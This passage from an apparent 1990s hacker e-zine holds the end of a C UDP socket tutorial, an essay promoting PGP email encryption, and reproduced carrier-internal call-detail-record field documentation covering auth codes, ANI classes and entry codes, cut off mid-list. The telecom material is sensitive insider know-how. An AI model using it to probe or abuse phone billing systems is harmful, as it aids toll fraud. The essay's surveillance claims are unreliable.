  1633. variable, s. The second parameter, *my_addr, is a pointer to a sockaddr
  1634. structure, but we pass our sockaddr_in structure, sin, and cast it.
  1635. Finally, addrlen, is the size of *my_addr, or in our case, sin. On
  1636. success zero is return, or -1 on error. 
  1637.  
  1638. On line 76 we set the protocol family again in sin.sin_family to
  1639. AF_INET. Line 78, we convert our variable DEST_PORT, the destintion
  1640. port on the given host, from host byte ordering (little endian) to
  1641. network byte ordering (big endian) because all binary integers in a
  1642. TCP/IP header must be in network byte ordering as they traverse
  1643. a network. This conversion is done by calling htons(3), and passing
  1644. htons(3) the variable/integer to convert. htons(3) returns the
  1645. variable passed to it in network byte ordering, which we then assign
  1646. to sin.sin_port (line 78 still). sin.sin_port as you can gather is
  1647. the destination port on the given host. Soon you'll see why filling
  1648. out all this info in sin is improtant. Down to line 80, we just
  1649. give sin.sin_addr.s_addr the host's resolved address (destination
  1650. address), dest_address (which was talked about in section 1.1). You
  1651. might think you'd put the destination address in sin.sin_addr, but
  1652. if you look in linux/in.h (an included header file of ours that is
  1653. actually included, as we put it, in netinet/in.h) you'd know why 
  1654. we don't. Now we have completely filled out our socket descriptor,
  1655. sin.
  1656.  
  1657. Line 88. This is where we actually "connect" to the given host. Seeing
  1658. as how we're using the UDP protocol, we don't really connect like
  1659. a TCP connection. With the UDP protocol, we just fire away, and that
  1660. is what sendto(2) is used for. The formal prototype for sendto(2) is:
  1661.    int sendto(int s, const void *msg, int len, unsigned int flags,
  1662.               const struct sockaddr *to, int tolen);
  1663. Breifly, s is the socket to use to send *msg, where *msg is len bytes
  1664. long. For our purposes flags is zero. For *to, like bind(2), we use
  1665. our sockaddr_in structure, sin, and cast it. sendto(2) uses the
  1666. information in *to (sin) to know where to send *msg. As you recall,
  1667. sin contains the protocol family, destination address, and destination
  1668. port. tolen is just the sizeof *to (sin). sendto(2) returns the number
  1669. of bytes sent, or -1 on error. Looking at line 88 don't forget that
  1670. our variable message is a pointer to argv[2], which should be the
  1671. given message to send. Whew.
  1672.  
  1673.  
  1674. 1.3 Action
  1675. ----------
  1676. Unfortunately, this code has very little action. And ever less to do
  1677. with termination. Here goes. Line 96, we give fromlen the size of
  1678. sin, to be used later. Line 98, we zero out our input buffer, in_buff,
  1679. which is IN_BUFF_SIZE bytes large. Line 102 is where the action
  1680. starts with recvfrom(2), which is the function what waits for
  1681. something from the given host on the give socket. recvfrom(2)'s formal
  1682. prototype is:
  1683.    int recvfrom(int s, void *buf, int len, unsigned int flags,
  1684.                 struct sockaddr *from, int *fromlen);
  1685. recvfrom(2) is exactly like sendto(2) except three parameters have
  1686. different uses. Parameter two, *buf, is a pointer to a generic
  1687. void buffer to which the recieved data is stored in. *from is a
  1688. structure containing the information about what host to listen to.
  1689. Again, here we use sin and cast it. And *fromlen is nothing but
  1690. the size of *from (sin), except as a pointer to a variable that has 
  1691. this size, which for us is fromlen. recvfrom(2) returns the number of
  1692. bytes recieved or -1 on error. Because we have not modified our
  1693. socket descriptor, s, recvfrom(2) will block, meaning that it will
  1694. wait for data from the given host forever. If and when it does get
  1695. something, line 110 will let us know.
  1696.  
  1697.  
  1698. 1.4 Termination
  1699. ---------------
  1700. And on the seventh day the Lord called close(2), and exit(2), and
  1701. it was terminated. To close and destroy a socket we call close(2)
  1702. and pass it our socket descriptor, s. That's all. Good practice says
  1703. that you should always close(2) your sockets, even though exit(2)
  1704. will do it for you.
  1705.  
  1706.  
  1707. 2.0 Conclusion
  1708. --------------
  1709. A lot of talk for a little code. This program that we've been rapping
  1710. for the last four subsections is a fundamental framework for all 
  1711. larger programs dealing with sockets. Next lesson, we'll do most of
  1712. this all over again, but with the TCP, and a few bells and whistles.
  1713. Be sure to look at all the included header files from this program
  1714. because we'll be using them a lot.
  1715.  
  1716.  
  1717. 3.0 ESC
  1718. -------
  1719. /*
  1720.  * sp2_esc.c
  1721.  * 
  1722.  * Socket Programming Lesson (SPL) TWO [Basics, UDP] ramdac
  1723.  * 
  1724.  * spl2_esc demonstrates the the most basic usage of sockets
  1725.  * using the UDP protocol by sending a given message to a given
  1726.  * host's echo port/daemon and waiting for and recieving that
  1727.  * exact message back.
  1728.  */
  1729.  
  1730. #include <stdio.h>
  1731. #include <unistd.h>
  1732. #include <netdb.h>
  1733. #include <string.h>
  1734. #include <sys/socket.h>
  1735. #include <sys/types.h>
  1736. #include <netinet/in.h>
  1737. #include <arpa/inet.h>
  1738.  
  1739. #define DEST_PORT     7
  1740. #define IN_BUFF_SIZE  25
  1741.  
  1742. /* Function prototypes */
  1743. unsigned long resolve(char *);
  1744.  
  1745. int main(int argc, char *argv[])
  1746. {
  1747.    unsigned long dest_address;    /* Destination address */
  1748.    struct in_addr ina;            /* struct for inet_ntoa(3) */
  1749.    struct sockaddr_in sin;        /* Socket descriptor */
  1750.    char *message;                 /* Pointer to the message */
  1751.    char in_buff[IN_BUFF_SIZE];    /* Buffer for read(2) */
  1752.    int fromlen;                   /* Size of socket descriptor */
  1753.    int s;                         /* The socket */
  1754.    int retval;                    /* Returned value */
  1755.  
  1756.    if(argc != 3) {
  1757.       printf("Usage: %s [host] [message]\n", argv[0]);
  1758.       printf("Example: %s pacbell.net hello\n", argv[0]);
  1759.  
  1760.       exit(0);
  1761.    }
  1762.    
  1763.    dest_address = resolve(argv[1]);  /* Resolve the given host's address */
  1764.    if(!dest_address) {
  1765.       printf("Unable to resolve %s\n", argv[1]);
  1766.  
  1767.       exit(0);
  1768.    }
  1769.    else {
  1770.       /* Put the value of dest_address in the ina struct and
  1771.          use inet_ntoa(3) to print the address in dot.dot form */
  1772.  
  1773.       ina.s_addr = dest_address;
  1774.       printf("Resolved %s to %s\n", argv[1], inet_ntoa(ina));
  1775.    }
  1776.  
  1777.    s = socket(AF_INET, SOCK_DGRAM, 0);  /* Create the (datagram) socket */
  1778.    if(s < 0) {
  1779.       perror("socket");
  1780.       
  1781.       exit(1);
  1782.    }
  1783.  
  1784.    memset(&sin, 0, sizeof(sin));
  1785.  
  1786.    /* Bind our socket to a port */
  1787.    if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
  1788.       perror("bind");
  1789.       
  1790.       exit(1);
  1791.    }
  1792.  
  1793.    /* Set the protocol family to be use. AF_INET for Internet protocols. */
  1794.    sin.sin_family = AF_INET;
  1795.    /* Convert DEST_PORT to network (big endian) byte order */
  1796.    sin.sin_port = htons(DEST_PORT);
  1797.    /* Give or sin struct the host's resolved address, des_address */
  1798.    sin.sin_addr.s_addr = dest_address;
  1799.  
  1800.    message = argv[2];
  1801.  
  1802.    printf("Sending %d byte message: %s\n", strlen(message), message);
  1803.  
  1804.    /* Send message to the address and port of the host specified
  1805.       in sin */
  1806.    retval = sendto(s, message, strlen(message), 0,
  1807.            (struct sockaddr *)&sin, sizeof(sin));
  1808.    if(retval < 0) {
  1809.       perror("sendto");
  1810.       
  1811.       exit(1);
  1812.    }
  1813.  
  1814.    fromlen = sizeof(sin);
  1815.    
  1816.    memset(in_buff, 0, IN_BUFF_SIZE);
  1817.  
  1818.    /* Blocking, receive something (the message) back from the
  1819.       given host */
  1820.    retval = recvfrom(s, in_buff, IN_BUFF_SIZE, 0,
  1821.              (struct sockaddr *)&sin, &fromlen);
  1822.    if(retval < 0) {
  1823.       perror("recvfrom");
  1824.       
  1825.       exit(1);
  1826.    }
  1827.    
  1828.    printf("Recieved %d bytes: %s\n", retval, in_buff);
  1829.  
  1830.    /* Close our socket. exit(2) belows would do this anyhow. */
  1831.    close(s);
  1832.  
  1833.    exit(0);
  1834. }
  1835.  
  1836. unsigned long resolve(char *address)
  1837. {
  1838.    struct hostent *hent;    /* struct for gethostbyname(3) */
  1839.    unsigned long retval;    /* Return value (resolved address) */
  1840.  
  1841.    /* Resolve address and put the address and other info
  1842.       into hent */
  1843.    hent = gethostbyname(address);
  1844.    if(!hent)
  1845.       return 0;
  1846.    else  /* Cast and copy the actual address to retval */
  1847.       bcopy(hent->h_addr, (char *)&retval, hent->h_length);
  1848.  
  1849.    return retval;
  1850. }
  1851.  
  1852.  
  1853.  
  1854.  
  1855.  
  1856.  
  1857. +EOT+
  1858.  
  1859.  
  1860.  
  1861.  
  1862.  
  1863.  
  1864. Security and Conformity
  1865. ~~~~~~~~~~~~~~~~~~~~~~~
  1866.     -by Alex Jones (cossack@mindless.com)
  1867.  
  1868.     It seems simple and secure. You come home, open up your copy of
  1869. Netscape Mail, and send your friend a letter before going to get a bite to
  1870. eat. E-mail is quickly becoming a popular and convenient way to
  1871. communicate. Most people compare e-mail to a telephone conversation, or
  1872. even a chat over lunch. But in reality, e-mail is comparable to using a CB
  1873. radio. Internet Service Providers don't even claim responsibility for
  1874. e-mail security. If you are to have a quick look through the fine print of
  1875. your Internet Service Agreement, you would fine something like this...
  1876.  
  1877. Email Privacy:  Bob's Internet Service cannot guarantee that any
  1878. transmission or communication is truly confidential or private. The
  1879. provisions of the Electronic Communications Act of 1986 apply in all
  1880. cases. 
  1881.  
  1882. You may ask, "Why do they put that disclaimer in?" They put it in because
  1883. they know the security of e-mail and related communications is too easily
  1884. compromised. They know that once your e-mail leaves their servers, it can
  1885. pass through hundreds of other computers on the way to its destination.
  1886. Your e-mail is only as secure as the weakest link along that chain. Anyone
  1887. who has appropriate access at a weak link can read your mail. There are
  1888. programs that can search through your mail for keywords, such as "credit," 
  1889. "account," or "password." A recently conducted IRC poll found that
  1890. 61% of users had sent sensitive information by e-mail, such as a password,
  1891. at one time or another. This makes it inevitable that information has
  1892. been, and will continue to be stolen. 
  1893.  
  1894.     The greatest threat comes not from computer hackers lifting
  1895. information from e-mail, but from our own government. It is now beginning
  1896. to be exposed ("Secret Power," by Simon Davies) that a massive monitoring
  1897. network called Project Eschelon is present in Eastern Europe. This
  1898. network was set up by the U.S. with the support of Great Britain. It is
  1899. speculated to have the capability to search major backbones for specific
  1900. keywords or phrases. In fact, the commission examining the matter reported
  1901. that the network had the capability to monitor phone calls and faxes, as well 
  1902. as e-mail. This is a governmental abuse of power to the greatest extent. 
  1903. This was uncovered only because a specific commission investigated the matter. 
  1904. The possibility of extensive domestic government surveillance is almost
  1905. certain.
  1906.  
  1907.     There are so many problems and places in which the security of an
  1908. individual or company could be compromised, it is hard to understand how
  1909. to approach the problem. There is one answer that is simple and effective,
  1910. and requires minimal investment of time and resources. The answer is
  1911. called encryption. In its simplest definition, this means that information
  1912. such as text, video, or voice data is scrambled into a completely
  1913. unreadable form to anyone other than by the intended party. There are
  1914. other articles that address this in more depth, but only basic knowledge
  1915. of encryption is necessary to understand the ramifications. In terms of
  1916. data security, it doesn't matter what security holes exist in a system, it
  1917. matters how the data is stored. If the system is insecure, but completely
  1918. scrambled with a powerful encryption system, it can be considered safe in
  1919. terms of readability. (Data could still be corrupted or destroyed, but it
  1920. could not be read.) Encryption is vital to security. But a problem arises
  1921. if system A and system B use different methods of encryption; they cannot
  1922. share secured data. This is why the terms "monopoly" and "conformity" in 
  1923. the encryption market become important.  The monopoly should not be for
  1924. money, but developed by volunteer work for the sole purpose of providing a
  1925. free multi-platform program designed to protect data to the maximum
  1926. plausible extent. There is something available that meets most of these
  1927. criterion, and it is called Pretty Good Privacy. (PGP, www.pgp.com.) It is
  1928. a free program developed by Phil Zimmerman, designed specifically for
  1929. protecting e-mail communications. The public version is free, while other,
  1930. more complicated versions have a fee. PGP is available only to U.S. 
  1931. residents due to export restrictions. (Discussed in an earlier I/O
  1932. article.) It is suggested that every reader, regardless of data being sent
  1933. by e-mail, install PGP and try to use it whenever possible. This ensures
  1934. market conformity of a proven program. There is also a program called
  1935. PGPfone which uses encryption technology to protect voice conversations.
  1936. This, however, is not as realistic in its ease-of-use. It requires a good
  1937. amount of time to be spent setting up conversations. If many people become
  1938. accustomed to using PGP, privacy can finally be assured; not just
  1939. speculated.  Encryption is going to become increasingly important as the
  1940. use of the Internet becomes more widespread. It is the only true assurance
  1941. of data security in a time when privacy cannot be guaranteed by anyone,
  1942. even on the most basic level. 
  1943.  
  1944.  
  1945.  
  1946.  
  1947.  
  1948. +EOT+
  1949.  
  1950.  
  1951.  
  1952.  
  1953.  
  1954. CDR/PDR Field Descriptions
  1955. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  1956.     -by PureNRG
  1957.  
  1958. Example
  1959. -------
  1960.  
  1961. Dialed Num  22220246262148     [CDR_9X]   Date (241)  1998/06/21      DO 0
  1962. Prefix ( 0)                             Pre-Translated                CC 0
  1963. ACIF   (00) 7-Digit File                CLI Number     3145799791     RO 0
  1964. Auth Code   XXXXXXXXXXXXXXXXXXXXXX      ANI Index      000            CD 0
  1965. Action Code 000                                                       DE 0
  1966. Info Digits 31          Outpulse Qual  00       Switch ID    2CT      DT 0
  1967. Feat Code   00          Answer Qual    00       Call Disc ID 00787    IN 0
  1968. Term Code   00          Disconn Qual   000      Carrier No. 0222.     SA 0
  1969. Entry Code  022         NCS/DAP ID     00       Division ID  00
  1970. CRID  1     NOCLI  03   NAT            00       SS7_Cause    016
  1971. Seize   01:43:39   Outpulse 01:43:40  Originating(P/G/C) 000399 / 0335 / 03 '00 
  1972. Answer  01:43:43   Disconn  01:50:20  Terminating(P/G/C) 000041 / 2148 / 02 '00
  1973.  
  1974.  
  1975. Descriptions
  1976. -------------
  1977.  
  1978. Most frequently used call search types:
  1979.  
  1980. ALL - All search file types checked 
  1981.  
  1982.      Unless you are searching for calls by originating or terminating trunk 
  1983.      group you can use the default setting of ALL to search calls by. 
  1984.  
  1985. CDR - Call Detail Record 
  1986.  
  1987.      Used for calls originating on non-vnet type services. Includes ANIs and 
  1988.      DALs with circuit IDs beginning with E and F. 
  1989.      Used if the switch being searched is not the originating switch. This 
  1990.      includes all service types. Originating 800 numbers should also be 
  1991.      searched as CDR. If searching 800 number on originating switch, it 
  1992.      should be placed in the pre-translated number field. 
  1993.  
  1994. PNR - Private Network Record 
  1995.  
  1996.      Used on all ORIGINATING vnet type calls, including ANIs and DALs. 
  1997.  
  1998.  
  1999. Example of Search Results ~ Main Menu ~ WYV Homepage
  2000.  
  2001. CDR/PNR Field Descriptions
  2002. --------------------------
  2003. Auth Code - Authorization Code Indicator
  2004. Contains one of the following and/or an optional supplementary code:
  2005.         Authorization code
  2006.         Credit card number
  2007.         Calling party number
  2008.         7- or 10-digit Calling Station Identity (CSI)
  2009.         14-digit calling card number
  2010.         PTT or telecommunications card number
  2011.         VNET remote access number
  2012.         Business group
  2013.         Network information
  2014. If more than 22 digits are received, an expanded Call Detail Record / Private
  2015. Network Record (ECDR/EPNR) will be used.  Note:  VNET dial plans originating
  2016. on ISUP IMTs will follow the same rules as (I)DDD type calls, except for 
  2017. inbound international VNET calls.
  2018.  
  2019.  
  2020. Action Code
  2021. -----------
  2022. Supplied by the NCS/DAP or switch call processing. See NCS/Dap ID to 
  2023. determine if an action code was supplied by the DAP or by the switch call 
  2024. processing.
  2025.  
  2026. 0  = Not to be used - default
  2027. 1  = 7D direct termination call without overflow 
  2028.      (translated to 7D number + Term Switch ID + Term Trunk Group)
  2029. 2  = 7D direct termination call with xxxxxxxxx overflow 
  2030.      (translated to 7D number + TSID + TTG)
  2031. 3  = DDD number (or translated to DDD number)
  2032. 4  = IDDD number (or translated to IDDD number)
  2033. 5  = Switch to NCS transaction failure (switch generated action code)
  2034. 6  = Incoming exclusion failure
  2035. 7  = ID code failure
  2036. 8  = Unexpected failure occurs in the NCS/DAP
  2037. 9  = Misdialed number. The NCS/DAP is unable to translate the dialed 
  2038.      number.
  2039. 10 = 10D direct termination without overflow 
  2040.      (translated to 10D number + TSID + TTG)
  2041. 11 = 10D direct termination with overflow 
  2042.      (translated to 10D number + TSID + TTG)
  2043. 12 = National with overflow
  2044. 13 = International with overflow
  2045. 14 = ANI not found
  2046. 15 = NPA-NXX not found
  2047. 16 = Pilot number not found
  2048. 17 = Associated partition not found
  2049. 18 = ADF format error
  2050. 19 = Switch ID not found
  2051. 20 = 800 number not found
  2052. 21 = 800 number out-of-band
  2053. 22 = 800 number no longer in service
  2054. 23 = Invalid ID code (customized announ)
  2055. 24 = Range privilege (customized announ)
  2056. 25 = 7D number not in database (cust. ann)
  2057. 26 = 10D exclusion feature (cust. ann)
  2058. 27 = 900 number not found
  2059. 28 = 900 number out-of-band
  2060. 29 = 900 number no longer in service
  2061. 30 = NCS network management blocked
  2062. 31-49 = Not currently used - available
  2063. 50 = Flexible direct termination call without overflow 
  2064.      (translated to N-digit number + TSID + TTG)
  2065. 51 = Flexible direct termination call with overflow 
  2066.      (translated to N-digit number + TSID + TTG)
  2067. 52 = Outbound IVNET without overflow
  2068. 53 = Outbound IVNET with overflow
  2069. 54-63 = Not currently used - available
  2070.  
  2071. ACIF - Authorization Code Identification
  2072. ----------------------------------------
  2073. For switches supporting multiple 5 digit authorization code files, the 
  2074. 5 digit auth file used in the call must be identified. For switches 
  2075. supporting card service the ACIF is used to record 
  2076. the card number status. The status will be
  2077. forwarded by the NCS/DAP to the switch for each card call verfication.
  2078. The BOC card number status forwarded by the BNS center will also be
  2079. stored in this field after it has been mapped to an ACIF value.
  2080.  
  2081. 0  = Seven digit authcode file
  2082. 1  = 1st or only five digit authcode file
  2083. 2  = 2nd five digit file
  2084. 3  = 3rd five digit file
  2085. 4  = 4th five digit file
  2086. 5  = 5th five digit file
  2087. 6  = Six digit authcode file
  2088. 7  = Range restriction failure (invalid address digits)
  2089. 8  = Positive commercial credit card/89 card/M card validation 
  2090.      (temporary in host/remote architecture).
  2091. 9  = Not currently used-available
  2092. 10 = Card invalid or not assigned. Disallowed by NCS/DAP.
  2093. 11*= BOC billing number assigned but blocked
  2094. 12*= BOC billing number usage exceeded
  2095. 13*= Not currently used-available
  2096. 14 = Default auth of card if response time-out from NCS/DAP
  2097. 15 = Card authorized by NCS/DAP
  2098.  
  2099. ANI INDEX - Automatic Number Identification Index
  2100. -------------------------------------------------
  2101. ANI index number for the FG-D originations.  The ANI is screened for 
  2102. all calls except for 800 calls. The ANI index number is obtained from 
  2103. the ANI index table.  (DMS - TABLE ANIINDEX; DEX - DISPLA CP ANINDX) -
  2104.  
  2105.              ANI Class of Service Descriptions from DEX:
  2106.  
  2107. ANI  xxxx  TRAFF  TOD   INT  BLOCK  PART   ACCT   VNET  OPER  900  ALLOW   DIG
  2108. CLS  CUST  TYPE   REST  ACC  CALLS  NO.   DIGITS  CUST  ACC   BLK  PRISON  FAC
  2109. ---  ----  -----  ----  ---  -----  ----  ------  ----  ----  ---  ------  ---
  2110.   0    Y    PRI     N    Y     N       2     0      N     Y    N      N     SP
  2111.   1    Y    PRI     N    Y     N       2     0      N     Y    N      N     SP
  2112.   2    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2113.   3    Y    PRI     N    Y     N       9     0      N     Y    N      N     SP
  2114.   4    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2115.   5    Y    PRI     N    N     N      23     0      N     Y    N      N     SP
  2116.   6    Y    PRI     N    Y     N       2     0      N     Y    Y      N     SP
  2117.   7    Y    PRI     N    Y     N       2     2      N     Y    Y      N     SP
  2118.   8    Y    PRI     N    Y     N       2     2      N     Y    N      N     SP
  2119.   9    Y    PRI     N    Y     N       2     2      N     Y    N      N     SP
  2120.  10    Y    PRI     N    Y     N       2     0      Y     Y    N      N     SP
  2121.  11    Y    PRI     N    Y     N       2     2      Y     Y    N      N     SP
  2122.  12    Y    PRI     N    N     N       2     0      N     Y    N      N     SP
  2123.  13    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2124.  14    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2125.  15    Y    PRI     N    N     Y       0     0      N     N    Y      N     SP
  2126.  16    Y    PRI     N    Y     N       2     2      N     Y    N      N     SP
  2127.  17    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2128.  18    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2129.  19    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2130.  20    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2131.  21    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2132.  
  2133. ANI  xxxx  TRAFF  TOD   INT  BLOCK  PART   ACCT   VNET  OPER  900  ALLOW   DIG
  2134. CLS  CUST  TYPE   REST  ACC  CALLS  NO.   DIGITS  CUST  ACC   BLK  PRISON  FAC
  2135. ---  ----  -----  ----  ---  -----  ----  ------  ----  ----  ---  ------  ---
  2136.  
  2137.  22    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2138.  23    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2139.  24    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2140.  25    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2141.  26    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2142.  27    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2143.  28    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2144.  29    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2145.  30    Y    PRI     N    Y     N       2     0      N     Y    Y      Y     SP
  2146.  31    Y    PRI     N    Y     N       2     2      N     Y    N      N     SP
  2147.  32    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2148.  33    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2149.  34    Y    PRI     N    Y     N       2     3      N     Y    N      N     SP
  2150.  35    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2151.  36    Y    PRI     N    Y     N       2     4      N     Y    N      N     SP
  2152.  37    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2153.  38    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2154.  39    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2155.  40    Y    PRI     N    Y     N       2     0      Y     Y    N      N     SP
  2156.  41    Y    PRI     N    N     N     111     0      N     Y    N      N     SP
  2157.  42    N    SEC     N    N     N       0     0      N     N    N      N     SP
  2158.  
  2159. CD - Call Direction
  2160. -------------------
  2161. The call direction flag shall indicate domestic or international call 
  2162. originations.
  2163. 0 = Call origination occurs in the domestic network 
  2164.     [inside World Zone 1 (WZ1)]
  2165. 1 = Call origination occurs in the international network 
  2166.     (outside WZ1)
  2167.  
  2168. CLI Number - Calling Location ID
  2169. --------------------------------
  2170. CLI (ANI or CSI) of the originating station line.  If more than 10 
  2171. digits of ANI/CSI are received, they are recorded in the ECDR/EPNR. 
  2172. If 1 to 10 ANI or CSI digits are received they will not be prefixed
  2173. with HNPA or HNXX information unless noted. If no ANI or CSI is 
  2174. available OSID/OTG will be recorded, except where noted. If nothing
  2175. is recorded in the CLI field a NOCLI value of 10 is used.
  2176.  
  2177. CRID - Call Record ID
  2178. ---------------------
  2179. Identifies the type of call record used.
  2180.  
  2181. 0 = Not used
  2182. 1 = CDR
  2183. 2 = SER (CR)
  2184. 3 = PNR
  2185. 4 = OSR
  2186. 5 = POSR
  2187. 6 = ECDR
  2188. 7 = EPNR
  2189. 8 = EOSR
  2190. 9 = EPOSR
  2191. 10-15 = Not used
  2192.  
  2193. Dialed Num - Destination Address Digits
  2194. ---------------------------------------
  2195. Destination address digits or Dialed Number. If more than 17 digits need 
  2196. to be recorded an ECDR/EPNR is used.  The three digit data call 
  2197. indicator (#56) for analog data call is not stored. Calls received at 
  2198. the switch as 7 digit DDD calls shall be recorded in this field in the 
  2199. 10 digit DDD format, using the NPA that was collected from the ANI for 
  2200. FG-D originations and the NPA that is stored in the trunk group for all 
  2201. other 7 digit DDD calls. 
  2202.  
  2203. DE - Destination
  2204. ----------------
  2205. Indicates when a call is expected to terminate to an international 
  2206. destination.
  2207.  
  2208. 0 = Default, North American Numbering Plan (NANP), Domestic VNET or any
  2209.     other call not expected to terminate to an international
  2210.     destination.
  2211. 1 = Calls expected to terminate to an international destination.
  2212.  
  2213. Division ID
  2214. -----------
  2215. Contains division identification for credit card calls and calling
  2216. card calls and is received from the NCS/DAP for the card number 
  2217. validation. 
  2218.  
  2219. 0 = No division ID specified
  2220. 1 = Division ID1
  2221. 2 = Division ID2
  2222. 3 = Division ID3
  2223. 4 = Division ID4
  2224. 5 = Division ID5
  2225. 6 = Division ID6
  2226. 7 = Division ID7
  2227.  
  2228. DO - Distant Overflow
  2229. ---------------------
  2230. When set to a "1" in the originating switch record, indicates that
  2231. a direct termination overflow (DTO) transaction was attempted at an 
  2232. intermediate or terminating switch in order to get the final destination 
  2233. address digits for this call. This overflow information is sent from the 
  2234. switch that invoked DTO, back to the originating switch via SS7 
  2235. messaging.
  2236.  
  2237. DT - Dedicated Termination
  2238. --------------------------
  2239. When set to 1, indicates that a 10 digit shared network number was 
  2240. completed to a dedicated termination. If the terminating trunk class 
  2241. (TTC) in the call record is equal to 3 or 7, it is considered to be a 
  2242. direct termination trunk (DAL, VNET CAMA, ISDN PRI, or ISUP IMT 
  2243. terminating to a reseller). If an originating switch receives an ISUP 
  2244. message (address complete message or answer message from the terminating 
  2245. switch) with the DT bit set in the  BCSI, the DT bit shall be set 
  2246. in the call record.  Note:  When a 10 digit shared network number 
  2247. terminates to a dedicated termination, the termination switch shall set 
  2248. the DT bit in the BCSI parameter in the ISUP message (address 
  2249. complete message or answer message) and send the ACM or ANM back to the 
  2250. originating switch.
  2251.  
  2252. Entry Code
  2253. ----------
  2254. Entry code indicates the kind of call processing that took place at
  2255. the ISN or ONC and what type of information is recorded in the auth
  2256. field. For calls that do not need to access the ISN or ONC for call 
  2257. processing, the switch may record a switch-generated entry code (20-26, 
  2258. 51-79). If more than one entry code is received, the last one is 
  2259. recorded.  ISN or ONC entry codes that are received will overwrite the 
  2260. switch-generated entry codes.
  2261.  
  2262. 0  = Not to be used-default
  2263. 1* = Person-to-person (P-P)
  2264. 2* = Station-to-station (S-S)
  2265. 3* = Third party billing (3rd party number recorded)
  2266. 4* = P-P collect (bill to called party)
  2267. 5* = S-S collect (bill to called party)
  2268. 6  = Card or VNET card (S-S)
  2269. 7* = BOC inward dialing without call completion
  2270. 8* = General assistance
  2271. 9* = BOC/LEC card
  2272. 10 = Presubscribed credit card
  2273. 11*= PTT card
  2274. 12*= Directory assistance
  2275. 13*= Commercial credit card
  2276. 14*= BOC inward dialing with call completion
  2277. 15*= Card or VNET card (P-P)
  2278. 16-19 = Not currently used - available
  2279. 20 = ANI validation (screened pass/failed)
  2280. 21 = Auth validation (filed or dialed)
  2281. 22 = Not currently used - available
  2282. 23 = 700 service access code (overrides #20)
  2283. 24 = 800 service access code (overrides #20)
  2284. 25 = 900 service access code (overrides #20)
  2285. 26*= Prism I, prism II, and WATS (not currently supported)
  2286. 27-28 = Not currently used - available
  2287. 29*= Operator release time expired
  2288. 30*= EVS/NARS-disconnect message referral (DMR) without referral
  2289. 31*= EVS/NARS-DMR with referral to number
  2290. 32*= EVS/NARS-DMR with referral to non-supported number
  2291. 33*= EVS/NARS-DMR with referral and Call Extension (CE) to number
  2292. 34*= EVS/NARS-DMR with referral and CE to non-supported number
  2293. 35*= EVS/NARS-customized message announcement (CMA) with call extension
  2294. 36*= EVS/NARS-CMA without call extension
  2295. 37*= EVS/NARS-Enhanced call routing (ECR)
  2296. 38-41*= EVS/NARS-Reserved for future use
  2297. 42-47 = Not currently used - available
  2298. 48*= GETS card
  2299. 49 = Not currently used - available
  2300. 50*= Billed to international number
  2301. 51 = CSI information recorded
  2302. 52 = Supp code only recorded
  2303. 53 = VNET remote access number recorded
  2304. 54 = SS7 calling party number recorded
  2305. 55 = OSID+OTG recorded
  2306. 56 = DNIS recorded
  2307. 57 = Business group ID recorded
  2308. 58 = Network information recorded
  2309. 59-79 = Reserved for future switch-generated entry codes
  2310. 80-89*= Reserved for T*USA calls that are allowed to re-originate
  2311. 90-99*= Reserved for T*USA calls that are not allowed to re-originate
  2312. 100-127= Not currently used - available
  2313.  
  2314. Feat Code - Feature Code
  2315. ------------------------
  2316. Comes from switch call processing or is returned from the NCS/DAP.
  2317.  
  2318. 0 = Not to be used-default
  2319. 1 = FAX1,2,4
  2320. 2 = NARS1,2
  2321. 3 = Data cal14
  2322. 4 = Switched DS1 (HSCS)1
  2323. 5 = Switched DS3 (HSCS)1
  2324. 6-8 = Not currently used-available
  2325. 9 = NX64 (N=?, see bitmaps in ECDR/EPNR)3,5
  2326. 10= Offnet routing2
  2327. 11= AAP call (used in gateway toll ticket conversion)
  2328. 12-15= Not currently used-available
  2329.  
  2330. Note:   1 - Determined by switch call processing
  2331.         2 - Returned from NCS/DAP
  2332.         3 - Specified in messaging from originating trunk
  2333.         4 - See digital data call spec, ref #6
  2334.         5 - See ISDN call processing spec, ref #6
  2335.  
  2336. Info Digits - Information Digits
  2337. --------------------------------
  2338. Contains one or two information digits as received from the originating
  2339. trunk (FG-B or FG-D, CAMA, IMTs, or CCITT #5 and #6 international
  2340. trunks).  
  2341.  
  2342. Info Digits received from CAMA Trunk:
  2343.  0 = ANI
  2344.  1 = ONI - Multiparty
  2345.  2 = ANI Failure
  2346.  3 = ANI Observed
  2347.  4 = ONI Observed
  2348.  5 = ANI Failure Observed
  2349.  
  2350. Info Digits recieved from LEC - FGB Direct
  2351.  0 = ANI
  2352.  1 = ONI - Multiparty
  2353.  2 = ANI Failure
  2354.  6 = Hotel/Motel
  2355.  7 = Coinless, Hospital, Inmate, etc.
  2356.  
  2357. Info Digits/OLI received from RBOC or LEC - FGD
  2358. 00 = Identified POTS line - no special treatment
  2359. 01 = ONI - Multiparty
  2360. 02 = ANI Failure
  2361. 06 = Hotel/Motel without room identification
  2362. 07 = Coinless, Hospital, Inmate, etc.
  2363. 08 = Interlata Restricted - Regular Line
  2364. 10 = Test Call
  2365. 20 = AIOD - Listed directory number sent
  2366. 23 = Can't be identified from N.C.E.O.
  2367. 24 = SAC call already translated by LEC
  2368. 25 = ?
